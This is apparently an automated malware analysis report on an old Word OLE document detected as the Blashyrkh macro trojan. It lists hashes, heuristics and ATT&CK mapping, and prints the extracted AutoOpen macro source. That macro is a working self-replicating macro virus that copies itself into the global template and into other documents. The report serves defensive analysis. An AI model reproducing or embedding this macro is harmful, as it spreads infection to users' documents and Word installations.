Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 fe9af94a130f66d0…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-04-18 20:27:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1e31d15182cd1804e468089c93474c7f SHA-1: a380368db2aefa14a973660c57c9c6b8465d0ff4 SHA-256: fe9af94a130f66d02796c108cbd8a512013cf2b4b8e25c3c56864f6a2ceef6e6
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is identified as malicious by ClamAV with the signature Doc.Trojan.Blashyrkh-1. Static analysis revealed a legacy WordBasic AutoOpen macro. This macro's primary function is to copy itself to the global template and then save the document as a macro-enabled format, indicating an attempt to ensure persistence or facilitate payload delivery. The document body contains obfuscated and truncated text, but the presence of the AutoOpen macro is the most significant indicator of malicious intent.

Heuristics 4

  • ClamAV: Doc.Trojan.Blashyrkh-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Blashyrkh-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 740 bytes
SHA-256: bac957ebf17c939e7245faba19bd81965a9f0559eae3366d4915e5cb5aa89fc9
Detection
ClamAV: Doc.Trojan.Blashyrkh-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Dim Fname$
Dim MacName$
On Error GoTo -1: On Error GoTo errori
Fname$ = WordBasic.[FileName$]()
MacName$ = Fname$ + ":AutoOpen"
WordBasic.FileSummaryInfo Subject:="DEMONS STRIDE AT THE GATE OF BLASHYRKH"
WordBasic.MacroCopy MacName$, "Global:AutoOpen"
errori:
If WordBasic.IsDocumentDirty() = -1 Then
        WordBasic.MacroCopy "Global:AutoOpen", MacName$
End If
WordBasic.FileSaveAs Format:=1

End Sub

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